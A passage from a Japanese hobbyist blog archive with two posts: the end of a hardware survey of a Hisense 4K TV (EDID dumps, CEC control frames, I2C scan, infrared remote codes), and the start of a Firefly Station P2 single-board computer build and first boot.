0.2978\nEstablished timings supported:\n 640x480@60Hz 4:3 HorFreq: 31469 Hz Clock: 25.175 MHz\n 800x600@60Hz 4:3 HorFreq: 37900 Hz Clock: 40.000 MHz\n 1024x768@60Hz 4:3 HorFreq: 48400 Hz Clock: 65.000 MHz\nStandard timings supported:\n 1280x1024@60Hz 5:4 HorFreq: 64000 Hz Clock: 108.000 MHz\nDetailed mode: Clock 297.000 MHz, 1600 mm x 900 mm\n 3840 4016 4104 4400 hborder 0\n 2160 2168 2178 2250 vborder 0\n +hsync +vsync\n VertFreq: 30 Hz, HorFreq: 67500 Hz\nDetailed mode: Clock 148.500 MHz, 1600 mm x 900 mm\n 1920 2008 2052 2200 hborder 0\n 1080 1084 1089 1125 vborder 0\n +hsync +vsync\n VertFreq: 60 Hz, HorFreq: 67500 Hz\nMonitor name: HISENSE\nMonitor ranges (GTF): 23-61Hz V, 15-135kHz H, max dotclock 300MHz\nHas 1 extension blocks\nChecksum: 0x4 (valid)\n\nCTA extension block\nExtension version: 3\n60 bytes of CTA data\n Video data block\n VIC 16 1920x1080@60Hz 16:9 HorFreq: 67500 Hz Clock: 148.500 MHz\n VIC 32 1920x1080@24Hz 16:9 HorFreq: 27000 Hz Clock: 74.250 MHz\n VIC 34 1920x1080@30Hz 16:9 HorFreq: 33750 Hz Clock: 74.250 MHz\n VIC 4 1280x720@60Hz 16:9 HorFreq: 45000 Hz Clock: 74.250 MHz\n VIC 5 1920x1080i@60Hz 16:9 HorFreq: 33750 Hz Clock: 74.250 MHz\n VIC 3 720x480@60Hz 16:9 HorFreq: 31469 Hz Clock: 27.000 MHz\n VIC 2 720x480@60Hz 4:3 HorFreq: 31469 Hz Clock: 27.000 MHz\n VIC 7 1440x480i@60Hz 16:9 HorFreq: 15734 Hz Clock: 27.000 MHz\n VIC 6 1440x480i@60Hz 4:3 HorFreq: 15734 Hz Clock: 27.000 MHz\n VIC 1 640x480@60Hz 4:3 HorFreq: 31469 Hz Clock: 25.175 MHz\n VIC 100 4096x2160@30Hz 256:135 HorFreq: 67500 Hz Clock: 297.000 MHz\n VIC 98 4096x2160@24Hz 256:135 HorFreq: 54000 Hz Clock: 297.000 MHz\n VIC 95 3840x2160@30Hz 16:9 HorFreq: 67500 Hz Clock: 297.000 MHz\n VIC 93 3840x2160@24Hz 16:9 HorFreq: 54000 Hz Clock: 297.000 MHz\n Audio data block\n Linear PCM, max channels 2\n Supported sample rates (kHz): 48 44.1 32\n Supported sample sizes (bits): 24 20 16\n AC-3, max channels 6\n Supported sample rates (kHz): 48 44.1 32\n Maximum bit rate: 640 kb/s\n AAC, max channels 6\n Supported sample rates (kHz): 48 44.1 32\n Maximum bit rate: 576 kb/s\n Dolby Digital+, max channels 8\n Supported sample rates (kHz): 48 44.1 32\n Vendor-specific data block, OUI 000c03 (HDMI)\n Source physical address 2.0.0.0\n DC_36bit\n DC_30bit\n DC_Y444\n Maximum TMDS clock: 300MHz\n Supported Content Types:\n Graphics\n Photo\n Cinema\n Game\n Video latency: 131\n Audio latency: 131\n Interlaced video latency: 96\n Interlaced audio latency: 96\n Extended HDMI video details:\n Base EDID image size is aspect ratio\n HDMI VIC 1 3840x2160@30Hz 16:9 HorFreq: 67500 Hz Clock: 297.000 MHz\n HDMI VIC 3 3840x2160@24Hz 16:9 HorFreq: 54000 Hz Clock: 297.000 MHz\n HDMI VIC 4 4096x2160@24Hz 256:135 HorFreq: 54000 Hz Clock: 297.000 MHz\n Extended tag: Colorimetry data block\n xvYCC601\n xvYCC709\n BT2020YCC\n BT2020RGB\n Extended tag: Video capability data block\n YCbCr quantization: No Data (0)\n RGB quantization: Selectable (via AVI Q) (1)\n PT scan behaviour: Always Overscannned (1)\n IT scan behaviour: Always Underscanned (2)\n CE scan behaviour: Always Overscannned (1)\n Extended tag: HDR static metadata data block\n Electro optical transfer functions:\n Traditional gamma - SDR luminance range\n Traditional gamma - HDR luminance range\n SMPTE ST2084\n Hybrid Log-Gamma\n Supported static metadata descriptors:\n Static metadata type 1\n Extended tag: YCbCr 4:2:0 video data block\n VIC 97 3840x2160@60Hz 16:9 HorFreq: 135000 Hz Clock: 297.000 MHz\nUnderscans PC formats by default\nBasic audio support\nSupports YCbCr 4:4:4\nSupports YCbCr 4:2:2\n0 native detailed modes\nDetailed mode: Clock 85.500 MHz, 1600 mm x 900 mm\n 1360 1424 1536 1792 hborder 0\n 768 771 777 795 vborder 0\n +hsync +vsync\n VertFreq: 60 Hz, HorFreq: 47712 Hz\nDetailed mode: Clock 241.500 MHz, 1600 mm x 900 mm\n 2560 2608 2640 2720 hborder 0\n 1440 1443 1448 1481 vborder 0\n +hsync -vsync\n VertFreq: 59 Hz, HorFreq: 88786 Hz\nDetailed mode: Clock 79.500 MHz, 1600 mm x 900 mm\n 1280 1344 1472 1664 hborder 0\n 768 771 778 798 vborder 0\n -hsync +vsync\n VertFreq: 59 Hz, HorFreq: 47776 Hz\nChecksum: 0xeb (valid)\n</code></pre></div></details></p>\n\nそして高速信号モードに切り替えたところ、EDIDが変化してクロックは594MHzまで対応となり、無事4K60pのHDRに対応する通信を確立できるようになった。\nメニューの操作で高速信号モードに切り替え帯域を増やすという振る舞いは、読ませるEDIDを変えることによって実現していたのだ。\n\n```diff\n--- normal-mode.txt 2021-08-06 05:10:49.647907811 +0900\n+++ high-speed.txt 2021-08-06 05:18:57.977892309 +0900\n@@ -16,24 +16,24 @@\n 1024x768@60Hz 4:3 HorFreq: 48400 Hz Clock: 65.000 MHz\n Standard timings supported:\n 1280x1024@60Hz 5:4 HorFreq: 64000 Hz Clock: 108.000 MHz\n-Detailed mode: Clock 297.000 MHz, 1600 mm x 900 mm\n+Detailed mode: Clock 594.000 MHz, 1600 mm x 900 mm\n 3840 4016 4104 4400 hborder 0\n 2160 2168 2178 2250 vborder 0\n +hsync +vsync\n- VertFreq: 30 Hz, HorFreq: 67500 Hz\n+ VertFreq: 60 Hz, HorFreq: 135000 Hz\n Detailed mode: Clock 148.500 MHz, 1600 mm x 900 mm\n 1920 2008 2052 2200 hborder 0\n 1080 1084 1089 1125 vborder 0\n +hsync +vsync\n VertFreq: 60 Hz, HorFreq: 67500 Hz\n Monitor name: HISENSE\n-Monitor ranges (GTF): 23-61Hz V, 15-135kHz H, max dotclock 300MHz\n+Monitor ranges (GTF): 23-61Hz V, 15-135kHz H, max dotclock 600MHz\n Has 1 extension blocks\n-Checksum: 0x4 (valid)\n+Checksum: 0x6e (valid)\n\n CTA extension block\n Extension version: 3\n-60 bytes of CTA data\n+72 bytes of CTA data\n Video data block\n VIC 16 1920x1080@60Hz 16:9 HorFreq: 67500 Hz Clock: 148.500 MHz\n VIC 32 1920x1080@24Hz 16:9 HorFreq: 27000 Hz Clock: 74.250 MHz\n@@ -49,6 +49,7 @@\n VIC 98 4096x2160@24Hz 256:135 HorFreq: 54000 Hz Clock: 297.000 MHz\n VIC 95 3840x2160@30Hz 16:9 HorFreq: 67500 Hz Clock: 297.000 MHz\n VIC 93 3840x2160@24Hz 16:9 HorFreq: 54000 Hz Clock: 297.000 MHz\n+ VIC 97 3840x2160@60Hz 16:9 HorFreq: 135000 Hz Clock: 594.000 MHz\n Audio data block\n Linear PCM, max channels 2\n Supported sample rates (kHz): 48 44.1 32\n@@ -81,6 +82,13 @@\n HDMI VIC 1 3840x2160@30Hz 16:9 HorFreq: 67500 Hz Clock: 297.000 MHz\n HDMI VIC 3 3840x2160@24Hz 16:9 HorFreq: 54000 Hz Clock: 297.000 MHz\n HDMI VIC 4 4096x2160@24Hz 256:135 HorFreq: 54000 Hz Clock: 297.000 MHz\n+ Vendor-specific data block, OUI c45dd8 (HDMI Forum)\n+ Version: 1\n+ Maximum TMDS Character Rate: 600MHz\n+ SCDC Present\n+ Supports 12-bits/component Deep Color 4:2:0 Pixel Encoding\n+ Supports 10-bits/component Deep Color 4:2:0 Pixel Encoding\n+ Supports Auto Low-Latency Mode\n Extended tag: Colorimetry data block\n xvYCC601\n xvYCC709\n@@ -100,8 +108,8 @@\n Hybrid Log-Gamma\n Supported static metadata descriptors:\n Static metadata type 1\n- Extended tag: YCbCr 4:2:0 video data block\n- VIC 97 3840x2160@60Hz 16:9 HorFreq: 135000 Hz Clock: 297.000 MHz\n+ Extended tag: YCbCr 4:2:0 capability map data block\n+ VSD Index 14\n Underscans PC formats by default\n Basic audio support\n Supports YCbCr 4:4:4\n@@ -117,10 +125,5 @@\n 1440 1443 1448 1481 vborder 0\n +hsync -vsync\n VertFreq: 59 Hz, HorFreq: 88786 Hz\n-Detailed mode: Clock 79.500 MHz, 1600 mm x 900 mm\n- 1280 1344 1472 1664 hborder 0\n- 768 771 778 798 vborder 0\n- -hsync +vsync\n- VertFreq: 59 Hz, HorFreq: 47776 Hz\n-Checksum: 0xeb (valid)\n+Checksum: 0xc2 (valid)\n```\n\n#### CEC\n\ncec-clientでscanをかけてみると、CEC 1.4を搭載していることがわかった。\n\n```\nCEC bus information\n===================\ndevice #0: TV\naddress: 0.0.0.0\nactive source: no\nvendor: Unknown\nosd string: TV\nCEC version: 1.4\npower status: standby\nlanguage: jpn\n```\n\nいくつかCECフレームを送ってみたところ、リモコン信号のパススルー命令 (メッセージID: `0x44`) が機能した。\nRaspberry Piなど任意のHDMIデバイスを経由して次のようなCECフレームを送ることで、リモコンを使わずにテレビの操作ができることを確認できた。\n\n- `F0:44:6D`: テレビの電源をON (Power On: `0x6D`)\n- `F0:44:42`: ボリュームを下げる (Volume Down: `0x42`)\n- `F0:44:53`: 番組表を表示する (EPG: `0x53`)\n\n#### DDC/CI\n\nHDMIのI2Cバスを見てみたところ、アドレス0x37が現れなかった。\nなのでほとんどのテレビと同じく、DDC/CIは非搭載である。\n\n```\npi@raspberrypi:~ $ i2cdetect -y 2\n 0 1 2 3 4 5 6 7 8 9 a b c d e f\n00: -- -- -- -- -- -- -- -- -- -- -- -- --\n10: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --\n20: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --\n30: -- -- -- -- -- -- -- -- -- -- 3a -- -- -- -- --\n40: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --\n50: 50 51 -- -- 54 -- -- -- -- -- -- -- -- -- -- --\n60: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --\n70: -- -- -- -- -- -- -- --\n```\n\n### 赤外線\n\nリモコンは赤外線で通信されていて、これもまた一人前の無線通信規格なので調査する。\nリモコンの型番はEN3B40H。\nいくつか信号をデコードしてみると、プロトコルはNECであることが特定できた。\n\n[赤外線リモコンの通信フォーマット](http://elm-chan.org/docs/ir_format.html)\n\n全てのボタンのコードは下表の通りである。\n\n<link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css\" integrity=\"sha512-iecdLmaskl7CVkqkXNQ/ZH/XLlvWZOJyj7Yy7tcenmpD1ypASozpmT/E0iPtmFIB46ZmdtAc9eNBvH0H/ZpiBw==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\" />\n\n**カスタマーコード: `00bf`**\n\nボタン | データ | ボタン | データ | ボタン | データ\n---|:---:|---|:---:|---|:---:\n<i class=\"fas fa-power-off\" style=\"color:red\"></i> | `0d` | 入力切替 | `12` | 地デジ | `1b`\nBS | `4c` | CS | `47` | 4K | `64` |\n1 | `01` | 2 | `02` | 3 | `03` |\n4 | `04` | 5 | `05` | 6 | `06` |\n7 | `07` | 8 | `08` | 9 | `09` |\n0 | `00` | 11 | `0b` | 12 | `1c` |\n<span style=\"color:blue\">青</span> | `55` | <span style=\"color:red\">赤</span> | `52` | <span style=\"color:green\">緑</span> | `53` |\n<span style=\"color:yellow\">黄</span> | `54` | 音量+ | `44` | 音量- | `43` |\n画面表示 | `0c` | 消音 | `0e` | チャンネル<i class=\"fas fa-angle-up\"></i> | `4a` |\nチャンネル<i class=\"fas fa-angle-down\"></i> | `4b` | 設定 | `14` | サブメニュー | `4f` |\n番組表 | `1d` | <i class=\"fas fa-angle-up\"></i> | `16` | <i class=\"fas fa-angle-down\"></i> | `17` |\n<i class=\"fas fa-angle-left\"></i> | `19` | <i class=\"fas fa-angle-right\"></i> | `18` | 決定 | `15` |\n戻る | `48` | ホーム | `20` | 終了 | `bf` |\n録画リスト | `5d` | 音声切替 | `11` | クリア音声 | `63` |\n_d_ データ | `1f` | <i class=\"fas fa-fast-backward\"></i> | `59` | <i class=\"fas fa-fast-forward\"></i> | `58` |\n<i class=\"fas fa-backward\"></i> | `57` | <i class=\"fas fa-forward\"></i> | `56` | <i class=\"fas fa-circle\" style=\"color:red\"></i> | `5e` |\n<i class=\"fas fa-square\"></i> | `5a` | <i class=\"fas fa-pause\"></i> | `4e` | <i class=\"fas fa-play\"></i> | `1e` |\nNetflix | `2d` | YouTube | `aa` | prime video | `bb` |\nhulu | `cb` | ABEMA | `cc` | U-NEXT | `b8` |\n\n\n## まとめ\n\nテレビを通信機器という視点で捉え、各種経路を調査してみた。\n目的はアタック・サーフェスを見つけ出しハッキングすることであったが、すぐに利用できる穴は無いようだ。残念。\n\nTCP/IPはサーバーとして機能している部分のみを今回は調査したため、クライアント側に穴がある可能性は大いにある。\nすでに何箇所か平文で通信している部分は観測しているので、攻撃まで行かずとも遊ぶことはできるだろう。\n\n今回の調査の過程で、テレビがテレビらしからぬほどのインターネット通信をしていることを観測できた。\n\n<blockquote class=\"twitter-tweet\"><p lang=\"ja\" dir=\"ltr\">パケットログ見てると4KテレビがAWSにめちゃくちゃな数のコネクション張り続けてて怖い</p>&mdash; TODO: 免許証更新 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/1415003931449597954?ref_src=twsrc%5Etfw\">July 13, 2021</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n洗濯機ですらIoT家電(笑)と称してクラウド連携する時代であるわけで、最近の家電は行儀が悪いのもが多い。\n例に漏れずこのテレビも大変行儀が悪く、どうしたものか、ちゃんと「しつけ」してあげないといけない機器である。\n\n映像を視聴するという一般的な用途においては、この価格でこの品質のものが手に入ることに少々驚いた。\n総合的に誰もが買って満足できる品だと思うので、オリンピック閉会後も続くステイホームのお供に是非どうぞ。\n"]}],[0,{"slug":[0,"2021/09/22/stationpc-p2/"],"data":[0,{"title":[0,"Firefly Station P2を買ったのでとりあえず動かした"],"date":[3,"2021-09-22T02:00:00.000Z"],"image":[0,"/assets/images/2021/09/22/IMG_2555.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Gadget"]]],"tags":[1,[[0,"station-pc"],[0,"sbc"],[0,"rk3568"],[0,"rockchip"]]]}],"content":[0,"\n『半導体不足で欲しいものが欲しい時に手に入らなくなるかもしれない。』\nそんな危機感を覚えたので、今すぐ必要ではないが後で欲しくなった時に買えないと悔しい思いをするのを避けるようになった。\n気になったものは悩まず買うという意志を強く持ち、結果として積みSBCや積み開発ボードなどが増えていってしまった。\nこのままでは未開封新品の品々が増えていくばかりなので、隙間時間を見つけて遊ぶことにした。\n\n今回は[Firefly](https://en.t-firefly.com/)のStationPCシリーズの最新作、[Station P2](https://www.stationpc.com/product/stationp2)を軽く動かしてみた記録を書き殴った。\n\n## 目次\n\n## FireflyのStationPC\n\nどちらも聞きなれない名称だと思うので軽くご紹介。\n\n### Firefly\n\n[**Firefly \\| Make technology more simple , Make life more intellingent.**](https://en.t-firefly.com/)\n\nあまりメジャーな存在ではないが、シングルボードコンピューター(SBC)をメインに展開する中国の企業。[Rockchip社](https://www.rock-chips.com/a/en/index.html)製のSoCを搭載した製品を多く取り扱っている。\n\n\n\n### StationPC\n\n\n\n[**StationPC - More entertainment, more free creation**](https://www.stationpc.com/)\n\nそのFireflyが作るSBCをアルミニウム削り出しのケースとセットにして販売しているのがStationPCシリーズ。\nパフォーマンス志向なStation Pシリーズと、ミニサイズのMシリーズがあり、それぞれ第一世代と第二世代でP1、M1、P2、M2の4製品がラインナップされている。\n\n## Station P2\n\n[**Station P2 - Powerful Open-Source Geek Computer \\| Indiegogo**](https://www.indiegogo.com/projects/station-p2-powerful-open-source-geek-computer#/)\n\nStationPCのPシリーズで最近リリースされたのがStation P2。\nかつてはIndiegogoでクラウドファンディングを行なっていたが、未達に終わっている。\n資金調達は叶わなかったものの、製造は順調に進んでいたようで、その後普通にFireflyのショップで発売されていた。\n\n[Station P2_Station_ALL_Firefly Store](https://www.firefly.store/goods.php?id=147)\n\n要するに注目を集めるためだけのクラウドファンディングだったわけだが、確かにSBCの中では注目に値するスペックを誇っていた。\n\n\n### ROC-RK3568-PC\n\n[**ROC-RK3568-PC_Mainboard_ALL_Firefly Store**](https://www.firefly.store/goods.php?id=145)\n\nスペックシート: [ROC-RK3568-PC Specification.pdf](https://download.t-firefly.com/%E4%BA%A7%E5%93%81%E8%A7%84%E6%A0%BC%E6%96%87%E6%A1%A3/%E5%BC%80%E6%BA%90%E4%B8%BB%E6%9D%BF/ROC-RK3568-PC%20Specification.pdf)\n\nStation P2に搭載のSBCメインボードはROC-RK3568-PCとして単品で販売されているものである。\nこのボードには豊富なインターフェースがある。\n\n- Gigabit Ethernet ×2\n- WiFi 6 and Bluetooth 5.0\n- HDMI 2.0\n- M.2 PCIe3.0 (Expand with NVMe SSD)\n- SATA 3.0 (Expand with 2.5” SATA SSD/HDD)\n- USB3.0\n- USB 2.0 ×2\n- Type-C OTG\n- RS485×1/RS232×2\n- TF Card\n- Phone Jack\n\nあまりにもインターフェースが多いので、Station P2としてケースに組み込まれた時に容易にアクセスできるものだけに絞ったが、それでもリッチな構成であることは一目瞭然だ。\nデュアルギガビットイーサネットを搭載し、NVMe SSDと2.5インチHDDが搭載できるとあって、NASやルーターなど活用の夢を広げさせてくれる。\n\n\n### Rockchip RK3568\n\n[**RK35_Series RK3568 - Rockchip-瑞芯微电子股份有限公司**](https://www.rock-chips.com/a/en/products/RK35_Series/2021/0113/1276.html)\n\nデータシート: [Rockchip RK3568 Datasheet V1.2-20210601.pdf](http://download.t-firefly.com/product/Board/RK356X/Document/Datasheet/RK3568/Rockchip%20RK3568%20Datasheet%20V1.2-20210601.pdf)\n\nROC-RK3568-PCに搭載のSoCはRockchip社の最新シリーズであるRK3568が搭載されている。\n22nmプロセスルールで製造された4コアのARM Cortex-A55が搭載され、最大2.0GHzで動作する。\n\nComponent | Spec\n-----|-----\nCPU | Quad-core ARM Cortex-A55, Neon and FPU\nGPU | Mali-G52 2EE\nNPU | RK NN, 0.8Tops\nDDR | 32-bit DDR4/DDR3L/LP4/LP4x, ECC\nStorage | Nor SFC, SPI Nand, eMMC 5.1\nVideo Decoder | 4KP60 H.264/H.265/VP9\nVideo Encoder | 1080P60 H.264/H.265\nMIPI_CSI | MIPI-CSI2, 1×4-lane/2×2-lane@2.5Gbps/lane\n\n\n[Introduce Rockchip RK3568](https://www.96rocks.com/blog/2020/11/28/introduce-rockchip-rk3568/)\n\n上記のサイトで軽く説明があるが、このSoCは豊富な機能を取り揃えている。中でも注目する部分は**1080P60 H.265 Encoder**で、HEVCハードウェアエンコーダーをマルチメディアプロセッサを介することで利用できるとある。\n安価なSBCで手軽にH.265をハードウェアエンコードする体験をしてみたい欲が生まれてしまったので、特に今必要ではないが、購入した形となる。\n\n\n## Station P2の組み立て\n\nスペックやデータシートからの紹介はほどほどにして、積まれていたStation P2を開けていく。\n\n### パッケージ内容\n\n箱に入っているのは本体と薄い説明書とアンテナ他周辺パーツ。\n\n\n\n\n### 外観\n\n\n長方形の本体の寸法はStation P2のサイトに記載がある通り、幅142mm高さ31.5mm奥行き89mmである。\n長辺がiPhone 12 Proの高さと同じくらい。短辺はクレジットカードの長辺と同じくらい。\n\nインターフェースも先に紹介した通り、とても豊富だ。\n\n\n\n\n### 内装\n\nいろんなネジがあるので全て外していく。\n裏蓋を外すとHDD/SSDトレイがお目見えする。ここは裏蓋を外さなくても取り付けられるようになっている。\nトレイを外すとROC-RK3568-PCのメインボードが現れる。これを固定しているネジを外し、天板に力強く張り付いている熱伝導シートを本体ごと温めてあげるとメインボードが取り外せた。\n\n\n\n\n\n### NVMeとHDDの組み付け\n\nNVMeスロットがあるので取り付けていく。Station P2なので[Crucial P2](https://www.amazon.co.jp/Crucial-P2%E3%82%B7%E3%83%AA%E3%83%BC%E3%82%BA-NVMe%E6%8E%A5%E7%B6%9A-%E6%AD%A3%E8%A6%8F%E4%BB%A3%E7%90%86%E5%BA%97%E4%BF%9D%E8%A8%BC%E5%93%81-CT500P2SSD8JP/dp/B086TDBW8J?&linkCode=sl1&tag=mzyy-22&linkId=a592773eb34670d00db6d5d07b580c2b&language=ja_JP&ref_=as_li_ss_tl)を取り付けることにする。\nメインボードには2280と2242のネジ穴が空いているが、取り付け用のネジがついていない。\n[取り付け用のネジセット](https://www.amazon.co.jp/gp/product/B099WNM519?ie=UTF8&psc=1&linkCode=sl1&tag=mzyy-22&linkId=0ee3725df49fe191da1bc04098f560c5&language=ja_JP&ref_=as_li_ss_tl)をAmazonで探して買った。ネジ受けがある前提のネジセットなので、代わりに裏から固定するためのM2のナットを追加で調達して留めることでしっかりと固定できた。\n\nHDDはSeagateの[ST2000LX001](https://www.amazon.co.jp/Seagate-ST2000LX001-2-5%E3%82%A4%E3%83%B3%E3%83%81%E5%86%85%E8%94%B5SSHD-FireCuda%E3%82%B7%E3%83%AA%E3%83%BC%E3%82%BA-SATA%E6%8E%A5%E7%B6%9A/dp/B01M1UQQT5?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&dchild=1&qid=1632234427&s=computers&sr=1-2&linkCode=sl1&tag=mzyy-22&linkId=a3d37b851b90ce780b16c11c96dd3ef6&language=ja_JP&ref_=as_li_ss_tl)を取り付ける。\n作業はとても簡単で、HDD/SSDトレイを付属の取り付けパーツを使って引き出し、2箇所ネジ止めして戻すだけで済む。NVMeを取り付けずHDDだけならば裏蓋のネジを外したりする必要もない。\n\n\n\n\n<a href=\"https://www.amazon.co.jp/gp/product/B099WNM519?ie=UTF8&psc=1&linkCode=li3&tag=mzyy-22&linkId=8be54a34fd3acf59be16ae36ad53c582&language=ja_JP&ref_=as_li_ss_il\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B099WNM519&Format=_SL250_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" ></a>\n\n[Amazon.co.jp: QTEATAK PCIe NVMe M.2 2280SSDヒートシンククーラーおよび取り付けネジドライバーキット : パソコン・周辺機器](https://www.amazon.co.jp/gp/product/B099WNM519?ie=UTF8&psc=1&linkCode=sl1&tag=mzyy-22&linkId=0ee3725df49fe191da1bc04098f560c5&language=ja_JP&ref_=as_li_ss_tl)\n\n<a href=\"https://www.amazon.co.jp/Crucial-P2%E3%82%B7%E3%83%AA%E3%83%BC%E3%82%BA-NVMe%E6%8E%A5%E7%B6%9A-%E6%AD%A3%E8%A6%8F%E4%BB%A3%E7%90%86%E5%BA%97%E4%BF%9D%E8%A8%BC%E5%93%81-CT500P2SSD8JP/dp/B086TDBW8J?&linkCode=li3&tag=mzyy-22&linkId=3c43b0d38b64d0ef40fc089d52de0382&language=ja_JP&ref_=as_li_ss_il\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B086TDBW8J&Format=_SL250_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" ></a>\n\n[Crucial SSD P2シリーズ 500GB M.2 NVMe接続 正規代理店保証品 CT500P2SSD8JP 5年保証 - Crucial(クルーシャル)](https://www.amazon.co.jp/Crucial-P2%E3%82%B7%E3%83%AA%E3%83%BC%E3%82%BA-NVMe%E6%8E%A5%E7%B6%9A-%E6%AD%A3%E8%A6%8F%E4%BB%A3%E7%90%86%E5%BA%97%E4%BF%9D%E8%A8%BC%E5%93%81-CT500P2SSD8JP/dp/B086TDBW8J?&linkCode=sl1&tag=mzyy-22&linkId=a592773eb34670d00db6d5d07b580c2b&language=ja_JP&ref_=as_li_ss_tl)\n\n\n<a href=\"https://www.amazon.co.jp/Seagate-ST2000LX001-2-5%E3%82%A4%E3%83%B3%E3%83%81%E5%86%85%E8%94%B5SSHD-FireCuda%E3%82%B7%E3%83%AA%E3%83%BC%E3%82%BA-SATA%E6%8E%A5%E7%B6%9A/dp/B01M1UQQT5?&linkCode=li3&tag=mzyy-22&linkId=23498950f09899a76756b8246f177451&language=ja_JP&ref_=as_li_ss_il\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B01M1UQQT5&Format=_SL250_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" ></a>\n\n[Amazon \\| Seagate ST2000LX001 [2TB/2.5インチ内蔵SSHD] [7mm厚] FireCudaシリーズ / SATA接続 / バルク品 \\| SEAGATE \\| 内蔵ハードディスク 通販](https://www.amazon.co.jp/Seagate-ST2000LX001-2-5%E3%82%A4%E3%83%B3%E3%83%81%E5%86%85%E8%94%B5SSHD-FireCuda%E3%82%B7%E3%83%AA%E3%83%BC%E3%82%BA-SATA%E6%8E%A5%E7%B6%9A/dp/B01M1UQQT5?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&dchild=1&qid=1632234427&s=computers&sr=1-2&linkCode=sl1&tag=mzyy-22&linkId=a3d37b851b90ce780b16c11c96dd3ef6&language=ja_JP&ref_=as_li_ss_tl)\n\n### ダミーロードの取り付け\n\n技適を取得していないのと、FCC IDやCEマークがないので技適の特例申請もできないので、電波出力を限りなくゼロにする必要がある。\nどのみちソフトウェア側で電波出力はオフにするのだが、ハードウェアとして出力がされない状態にしなければならないとのことだったので、ダミーロードを取り付ける。\nStation P2のアンテナ端子がSMAオスとなっていて、手持ちのダミーロード(SMAオス)は適合しないのでSMAメス⇄RP-SMAメスの変換アダプタを用意した。\n\n\n\n\n<a href=\"https://www.amazon.co.jp/%E5%A4%89%E6%8F%9B%E5%90%8D%E4%BA%BA-SMA%E3%82%A2%E3%83%B3%E3%83%86%E3%83%8A-RP-SMA-%E5%A4%89%E6%8F%9B%E3%82%A2%E3%83%80%E3%83%97%E3%82%BF-SMAJ-RPSMAP/dp/B005XXC8HW?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&crid=2UYYPU8VPVGMR&dchild=1&qid=1632194397&sprefix=RP-SMA%28%5C%29+%E2%86%92+SMA%2Ccomputers%2C241&sr=8-12&linkCode=li3&tag=mzyy-22&linkId=165598a40b9b30675b7740f0b9ed34e2&language=ja_JP&ref_=as_li_ss_il\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B005XXC8HW&Format=_SL250_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" ></a>\n\n[変換名人 SMAアンテナ(メス) → RP-SMA(メス)変換アダプタ SMAJ-RPSMAP - Amazon.co.jp](https://www.amazon.co.jp/%E5%A4%89%E6%8F%9B%E5%90%8D%E4%BA%BA-SMA%E3%82%A2%E3%83%B3%E3%83%86%E3%83%8A-RP-SMA-%E5%A4%89%E6%8F%9B%E3%82%A2%E3%83%80%E3%83%97%E3%82%BF-SMAJ-RPSMAP/dp/B005XXC8HW?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&crid=2UYYPU8VPVGMR&dchild=1&qid=1632194397&sprefix=RP-SMA(\\)+%E2%86%92+SMA,computers,241&sr=8-12&linkCode=sl1&tag=mzyy-22&linkId=c27ea87ced2b06bc6d1ded99c7b5ec94&language=ja_JP&ref_=as_li_ss_tl)\n\n<a href=\"https://www.amazon.co.jp/gp/product/B07DSCD6YF?ie=UTF8&psc=1&linkCode=li3&tag=mzyy-22&linkId=a6b45884a2a8e28820e83f9c5b323979&language=ja_JP&ref_=as_li_ss_il\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B07DSCD6YF&Format=_SL250_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" ></a>\n\n[Amazon \\| ランフィー 5 PCS SMA オス RF 同軸終端一致ダミー負荷50オームコネクタ RC ドローン \\| DIY・工具・ガーデン](https://www.amazon.co.jp/gp/product/B07DSCD6YF?ie=UTF8&psc=1&linkCode=sl1&tag=mzyy-22&linkId=34c7dc6e37964acbae6e16d5e30bbf8c&language=ja_JP&ref_=as_li_ss_tl)\n\n## Station P2の起動\n\nここまでできたらACアダプタと有線LANを接続して電源を入れて起動する。\n\n### StationOS\n\n\n\n\n買ってすぐの状態ではAndroidベースのStationOSがeMMCに焼き込まれているので、microSDカードが挿入されていない場合はStationOSが起動する。\n使い勝手は良いとは言えず、Google Playストアも搭載されていないので使い道に困るものだ。\n[ゴニョゴニョやる](https://bbs.stationpc.com/thread-195-1-1.html)ことでPlayストアが追加でき、やっと使えるかなと思えるスタート地点に立つ。\n\n\n\n#### Geekbench 5\n\n[Geekbench 5 - Google Play のアプリ](https://play.google.com/store/apps/details?id=com.primatelabs.geekbench5&hl=ja&gl=US)\n\n\n\n[Rockchip Station P2 - Geekbench Browser](https://browser.geekbench.com/v5/cpu/9714051)\n\nアプリが追加できるようになったので、Geekbench 5をインストールしてRK3568のパワーを計測してみた。\nスコアはシングル167 マルチ540と、[Raspberry Pi 